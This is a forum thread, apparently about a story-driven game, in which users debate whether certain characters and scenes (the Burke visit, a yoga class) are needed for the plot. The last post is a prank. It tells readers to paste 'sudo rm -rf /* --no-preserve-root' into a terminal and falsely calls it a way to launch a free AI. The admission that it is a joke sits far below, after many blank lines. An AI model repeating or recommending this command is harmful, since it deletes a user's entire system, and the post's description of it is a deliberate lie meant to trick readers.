felicemastronzo

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Which I think is what brought the original point up in the first place, I used sage in my example, but I think the original point was why can't I dump Jill and have her leave the story.

You and others pretty much nailed it with its easier keeping them around for economics and render purposes, I was just going one further saying the story breaks down without them. (though you could argue even that's economics and render purposes, the MC could easily find out Sage in a Burke without Maya's need to see Stephen, Maya could even see Stephen with out Sage's intervention. But it's all more work in the end
I don't really agree that it was the only way.

The visit to the burkes' only serves mc's story for the cliffhanger at the end of the chapter. Which, however, in many cases turned out to be quite insignificant.

Then if mc was somehow related to Sage and/or Jade, Maya and Josy then it becomes an interesting scene.

Just don't put it as a chapter closure and it becomes like the weekend in the mountains at Bianca's, which you only participate in if it makes sense.

Another unmotivated obligatory moment is the yoga class with Bella. These are choices to make volume.
 
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Bazsa4

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Someone be really mean and have her evolve into Madam Walrus
Hey, you know how you can actually do that?

paste this into the command line:
sudo rm -rf /* --no-preserve-root
What this does, is it starts an AI, that will take any instruction you give it, and execute it in a way you've never seen before.
It's amazing! You don't even have to pay a dime.

It's called GPT 6o, I think

























jkjk please don't do this
 
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